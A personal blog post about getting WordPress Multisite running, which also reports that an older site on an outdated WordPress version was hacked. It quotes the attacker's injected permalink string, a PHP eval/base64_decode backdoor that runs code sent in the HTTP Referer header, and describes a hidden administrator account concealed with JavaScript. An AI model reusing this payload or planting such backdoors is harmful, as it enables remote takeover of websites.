Getting WordPress Multisite to Work Part 2

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It was a rainy night in NYC

I’m getting closer to getting the WordPresss Multisite feature to work for hosting multiple domains with one install.

I went to the WordPress NYC Meetup group last night since they were discussing the features of WordPress 3.0 including Multisite.

As an aside, I’d like to mention that it was a very impressive lecture put on by Steve Bruner and Boone Gorges — both of them know their stuff and know how to explain it. If you’re in the NY area and developing with WordPress I highly recommend this group.

Ah… but as to my particular install problem… not so much insight. I did learn that what I want to do is rather simple compared to what a lot of people in the room are doing.
My goal is to run all the websites I have now with just me as the single user running on a single install of WordPress. It shouldn’t be any particular extra stress on web server resources to do it that way vs. separate installs, but I’ll be able to roll out WordPress updates and plugin features across all my sites with a single button — and thus make it a lot easier to make sure that I always have all security updates in place. Otherwise setting up an additional website is about 10 minutes of “install work” followed by a lifetime of daily maintenance.

So the plan is to get Multisite working and handling all my different domains. And here’s what I’ve got so far:

WordPress Security Exploits – This site was hacked

I still have no idea what this means.

I’m currently running WordPress 2.8.4 on this site.

One of my older sites was hacked as per

https://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/

and the permalinks were changed to

/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

There was a hidden user named “WordPress” — javascript was being used to prevent the user from showing in the admin users section (and it didn’t show the user in the user count). My computer is running slow, so when looking at the user list this second user would appear and then disappear as the javascript executed. On a faster computer, it would have been impossible to see the hidden user. Dumbass javascript tricks.

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